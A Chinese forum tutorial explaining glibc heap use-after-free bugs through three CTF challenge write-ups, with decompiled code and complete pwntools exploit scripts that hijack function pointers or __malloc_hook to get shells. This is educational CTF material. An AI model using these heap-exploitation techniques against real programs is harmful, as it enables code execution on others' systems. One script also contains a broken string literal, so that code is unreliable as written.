堆利用Use After Free 详解
YOLO 发表于 山东 二进制安全 852浏览 · 2024-05-14 13:17

前言

堆管理机制

fast bin后进先出

Use After Free

UAF即使用释放后的chunk、
fastbin不仅使用单链表进行维护,由fastbin管理的chunk即使在被释放后chunk的p参数也不会被重置,而且在释放时只会对链表指针头部的chunk进行校验。
对于一个内存被释放后存在如下情况

  • 内存块被释放后,其对应的指针被设置为空字节,再次使用时程序会崩溃
  • 内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

在uaf中我们称后两种即指针并未被设置成空null的情况,

int main()
{
    fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
    fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
    fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
    fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

    fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
    char* a = malloc(0x512);
    char* b = malloc(0x256);
    char* c;

    fprintf(stderr, "1st malloc(0x512): %p\n", a);
    fprintf(stderr, "2nd malloc(0x256): %p\n", b);
    fprintf(stderr, "we could continue mallocing here...\n");
    fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
    strcpy(a, "this is A!");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);########

    fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

    fprintf(stderr, "So, let's allocate 0x500 bytes\n");
    c = malloc(0x500);
    fprintf(stderr, "3rd malloc(0x500): %p\n", c);
    fprintf(stderr, "And put a different string here, \"this is C!\"\n");
    strcpy(c, "this is C!");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
    fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

在本题中malloc了abc三个堆内存

char* a = malloc(0x512);
strcpy(a, "this is A!")

将this is A!写入a

free(a)

将a释放掉

同时

c = malloc(0x500);
strcpy(c, "this is C!");

由于内存分配机制

malloc c时会将a的chunk分配给c

运行看一下


虽然free掉了a但是a的指针依旧存在于a的chunk位置

在这时我们向写入了c产生了c指针,这两个指针就处于同一个位置

所以当执行这两个指针输出a c内容时会出现结果相同的情况

这就是Use After Free

例题

接下里我们将以ctf wiki例题展开学习

首先checksec一下

ida看一下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();                                   // int menu()
                                                // {
                                                //   puts("----------------------");
                                                //   puts("       HackNote       ");
                                                //   puts("----------------------");
                                                //   puts(" 1. Add note          ");
                                                //   puts(" 2. Delete note       ");
                                                //   puts(" 3. Print note        ");
                                                //   puts(" 4. Exit              ");
                                                //   puts("----------------------");
                                                //   return printf("Your choice :");
                                                // }
      read(0, buf, 4u);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

分别来看看一下del print add 三个函数

add

可以看到

最多进行5次note

紧接着循环五次

如果notelist+i是空字节则创建一个8字节的chunk,创建完成之后会在进行一次if判断

接着放置print_note_content()函数指针

可以看到print_note_content()会输出a1加四地址处的变量

接着读入buf并将buf的大小赋值到size并在v0+4的位置malloc一个size大小的空间

程序会调用read函数将输入的内容放在*((void **)*(&notelist + i) + 1处, 这里无法进行溢出

print note

(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1))

我们拆开来看,首先第一个&notelist + v1代表的是print_note_content()函数,因为在创建note功能的时候print_note_content()函数指针就是放在结构体的第一个成员变量中的,后面的(*(&notelist + v1))其实是print_note_content()函数的参数,我们再将print_note_content()函数拿出来

del note

在本函数中,如果notelist+v1处存在函数指针则

释放notelist+v1+1处的chunk

然后释放notelist+v1出的chunk

可以看出在free这两个chunk时chunnk指针并没有被置空

利用

shift+f12看一下

存在后门函数

然后调试看一下

使用gdb看一下我们设立的heap的结构

脚本如下

输入heap指令

我们可以看到存在两个0x20的chunk

在32位程序中pre_size 与size占用0x08字节的空间64位程序中0x10大小

同时需要注意的是malloc的指针指向的是chunk的内容部分

因为chunk指针起始位置为notelist全局变量的地址:0x0804A070

所以使用x/20wx 0x0804A070查看一下(64位为gx)

可以看到

由于chunk直接指向chunk内容所以我们在查看完整heap结构时应该减去0x08

可以看到两个chunk是紧紧挨在一起的

结构如图所示

可以看出我们无法使用堆溢出进行攻击 因为程序只读入了size大小的内容,远达不到溢出的要求。

在print_note

if ( *(&notelist + v1) )
    (*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));

所以在note0内容中print指针我们是可以利用

将print()函数指针替换成system(“cat flag”)指针就可以拿到flag了

在这里我们将note1的print函数指针修改为system地址

在这里简述一下思路

1 由于堆分配机制

我们创建了四个chunk其中content为 输入的size的大小当我们再次申请malloc(8)时由于pre_size和size会占用8字节因此chunk的大小为0x10字节因此会向fast bin申请接近的chunk大小

因此我们创建的note2的struct与contentt分别与note1的struct重合,note0的content

如图所示

然而因为free掉note 0 1两个chunk时fast bin是不会将函数指针清理的

同时在note0的struct中是存在我们写入的print指针的

因此就可以利用print函数将system(bin/sh)打印执行出来

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')

#libc = ELF('./libc.so.6')

#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))

def duan():
    gdb.attach(io)
    pause()
def addnote(size, content):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)


def delnote(idx):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(idx))


def printnote(idx):
    io.recvuntil(":")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(idx))

magic = 0x08048986

addnote(32, "aaaa")
addnote(32, "aaaa")

delnote(0)
delnote(1)

addnote(8, p32(magic))
printnote(0)
io.interactive()

[HNCTF 2022 WEEK4]ez_uaf

ida看一下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init_env(argc, argv, envp);
  puts("Easy Note.");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = getnum();
      if ( v3 != 4 )
        break;
      edit();
    }
    if ( v3 > 4 )
    {
LABEL_13:
      puts("Invalid!");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

还是常见的菜单函数

add

int add()
{
  __int64 v1; // rbx
  int i; // [rsp+0h] [rbp-20h]
  int v3; // [rsp+4h] [rbp-1Ch]

  for ( i = 0; i <= 15 && heaplist[i]; ++i ) 
    ;
  if ( i == 16 )
  {
    puts("Full!");         #最多创建16chunk块
    return 0;
  }
  else
  {
    puts("Size:");
    v3 = getnum();
    if ( (unsigned int)v3 > 0x500 )           #大小要小于0x500
    {
      return puts("Invalid!");
    }
    else
    {
      heaplist[i] = malloc(0x20uLL);#同时会创建0x20的结构chunk
      if ( !heaplist[i] )
      {
        puts("Malloc Error!");
        exit(1);
      }
      v1 = heaplist[i];
      *(_QWORD *)(v1 + 16) = malloc(v3);
      if ( !*(_QWORD *)(heaplist[i] + 16LL) )
      {
        puts("Malloc Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 24LL) = v3;
      puts("Name: ");
      if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10uLL) )
      {
        puts("Something error!");
        exit(1);
      }
      puts("Content:");
      if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) )
      {
        puts("Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 28LL) = 1;
      return puts("Done!");
    }
  }
}

show

int show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0xF && heaplist[v1] )
  {
    puts((const char *)heaplist[v1]);
    return puts(*(const char **)(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}

edit

ssize_t edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( (unsigned int)v1 <= 0xF && heaplist[v1] )
    return read(0, *(void **)(heaplist[v1] + 16LL), *(int *)(heaplist[v1] + 24LL));
  puts("Error idx!");
  return 0LL;
}

del

__int64 delete()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 <= 0xF && *(_DWORD *)(heaplist[v1] + 28LL) )
  {
    free(*(void **)(heaplist[v1] + 16LL));
    free((void *)heaplist[v1]);
    result = heaplist[v1];
    *(_DWORD *)(result + 28) = 0;    #两个chunk再被free时都没有被置空
  }
  else
  {
    puts("Error idx!");
    return 0LL;
  }
  return result;
}

两个chunk再被free时都没有被置空所以存在uaf漏洞

思路

首先通过show泄漏libc基地址并且计算malloc_hook函数地址

def add(size, name, cont):
    io.sendlineafter(b'Choice: \n', b'1')
    io.sendlineafter(b'Size:\n', str(size).encode())
    io.sendafter(b'Name: \n', name)
    io.sendafter(b'Content:\n', cont)

def dele(idx):
    io.sendlineafter(b'Choice: \n', b'2')
    io.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
    io.sendlineafter(b'Choice: \n', b'3')
    io.sendlineafter(b'idx:\n', str(idx).encode())

def edit(idx, cont):
    io.sendlineafter(b'Choice: \n', b'4')
    io.sendlineafter(b'idx:\n', str(idx).encode())
    io.send(cont)

先进行定义

add(0x410,b'aaaa',b'aaaa')

add(0x20,b'bbbb',b'bbbb')
free(0)
show(0)
base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-96-0x3ebc40

在释放时fd指向了main_arena我们可以通过show函数泄漏出来

泄漏完成libc本题可以采用one_gadget的方法拿到shell 也可以

one_gadget

0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

本题中出现了四个one_gadget但是使用one_gadget是有条件的

只有第四个可以使用

malloc_hook函数是在malloc函数调用前会执行的钩子函数。在程序中,通常malloc_hook的函数地址对应值为0,也就是不会执行任何东西,我们在利用过程中将其覆盖为onegadget地址,这样再执行一次malloc就会执行onegadget。

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
io = remote('node5.anna.nssctf.cn',25619)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
    gdb.attach(io)
    pause()
def choice(idx):
    io.sendlineafter(b'Choice: \n', str(idx))       
def add(size, name, content):
    choice(1)
    io.sendlineafter(b'Size:\n', str(size))
    io.sendlineafter(b'Name: \n', name)
    io.sendlineafter(b'Content:\n', content)
def free(idx):
    choice(2)
    io.sendlineafter(b'Input your idx:\n', str(idx))
def show(idx):
    choice(3)
    io.sendlineafter(b'Input your idx:\n', str(idx))
def edit(idx, content):
    choice(4)
    io.sendlineafter(b'Input your idx:\n', str(idx))
    io.sendline(content)
add(0x410,b'aaaa',b'aaaa')
#duan()
add(0x10,b'bbbb',b'bbbb') 
free(0)
#duan()
show(0)
base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-96-0x3ebc40
print(hex(base))
one_gadget = base + 0x10a2fc
malloc_hook = base + libc.sym['__malloc_hook']
free(1)
print(p64(malloc_hook))
edit(1,p64(malloc_hook))             #将chunk1的fd指针修改为malloc_hook
add(0x10, b'aaaa', b'aaaa')
add(0x10, b'aaaa', b'aaaa           #将malloc_hook申请出来  
#duan()
edit(3,p64(one_gadget))            #修改malloc_hook为og地址
choice(1)
io.sendlineafter(b'Size:\n', b'10')
io.interactive()

[VCTF 2024 ] ezhp_code

放入ida看一下

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ebx
  char v5; // [rsp+7h] [rbp-49h] BYREF
  int v6; // [rsp+8h] [rbp-48h]
  int i; // [rsp+Ch] [rbp-44h]
  __int64 v8[7]; // [rsp+10h] [rbp-40h] BYREF

  v8[5] = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  printf_start();
  memset(v8, 0, 40);
  v6 = 0;
  while ( 1 )
  {
    Choice();
    __isoc99_scanf(" %c", &v5);
    getchar();
    if ( v5 == 51 )
      break;
    if ( v5 > 51 )
      goto LABEL_17;
    if ( v5 == 49 )
    {
      if ( v6 > 4 )
      {
        puts("User limit reached.\n");
      }
      else
      {
        v3 = v6++;
        v8[v3] = (__int64)add_User(v6);
      }
    }
    else if ( v5 == 50 )
    {
      if ( v6 <= 0 )
        puts("No user to delete.\n");
      else
        del_User((void **)&v8[--v6]);
    }
    else
    {
LABEL_17:
      puts("Invalid choice.\n");
    }
  }
  for ( i = 0; i < v6; ++i )
    del_User((void **)&v8[i]);
  return 0;
}

本题与上一题类似都是菜单函数创建堆块与删除堆块

一步步分析这个程序

add_user

_DWORD *__fastcall add_User(int a1)
{
  _DWORD *inited; // [rsp+10h] [rbp-10h]
  void *v3; // [rsp+18h] [rbp-8h]

  inited = init_User(a1);
  puts("Input your name:");
  __isoc99_scanf("%31s", inited + 1);
  while ( getchar() != 10 )
    ;
  puts("What do you think of this CTF competition?");
  puts("The length you want to say:");
  __isoc99_scanf("%d", inited + 12);
  while ( getchar() != 10 )
    ;
  v3 = malloc_lenth(inited[12]);
  puts("You say:");
  read_char((__int64)v3, inited[12]);
  *((_QWORD *)inited + 5) = v3;
  return inited;
}

注意

__isoc99_scanf("%31s", inited + 1);
  while ( getchar() != 10 )

这里的getcher是为了出去我们输入是所读入的回车

dele_user

void *__fastcall del_User(void **a1)
{
  void *result; // rax

  if ( a1 )
  {
    result = *a1;
    if ( *a1 )
    {
      free(*((void **)*a1 + 5));
      *((_QWORD *)*a1 + 5) = 0LL;
      free(*a1);
      result = a1;
      *a1 = 0LL;
    }
  }
  return result;

exp

from pwn import*
context(log_level='debug')
p=process('./1')
backdoor=0x4012A5

def add(size,content):
    p.sendlineafter(b'3.exit',b'1')
    p.sendlineafter(b'Input your name:',b'aa')
    p.sendlineafter(b'The length you want to say:',str(size))
    p.sendlineafter(b'You say:',content)
def free():
    p.sendlineafter(b'3.exit',b'2')

add(0x90//2,p64(0)*5+p64(backdoor))
free()
add(0x10,p64(0))
p.sendlineafter(b'3.exit',b'1')
p.interactive()

补充

断点指令:

下普通断点指令b(break):
b *(0x123456)         //常用,给0x123456地址处的指令下断点
        b *$ rebase(0x123456)     //$rebase 在调试开PIE的程序的时候可以直接加上程序的随机地址
b [函数名]         //常用,给函数下断点,目标文件要保留符号才行
        b 文件名:函数名
b [文件名]:15         //给文件的15行下断点,要有源码
        b 15
b +0x10     //在程序当前停住的位置下0x10的位置下断点,同样可以-0x10,就是前0x10
b [] if $rdi==5         //条件断点,rdi值为5的时候才断
x /10gx 0x123456         //常用,从0x123456开始每个单元八个字节,十六进制显示是个单元的数据
x /32gx,x /4gx,x /8gx,x /16gx

x /10wx 0x123456         //常用,从0x123456开始每个单元四个字节,十六进制显示是个单元的数据

x /32wx,x /4wx,x /8wx,x /16wx

x /10xd $rdi             //从rdi指向的地址向后打印10个单元,每个单元4字节的十进制数

x /10i 0x123456         //常用,从0x123456处向后显示十条汇编指令
0 条评论
某人
表情
可输入 255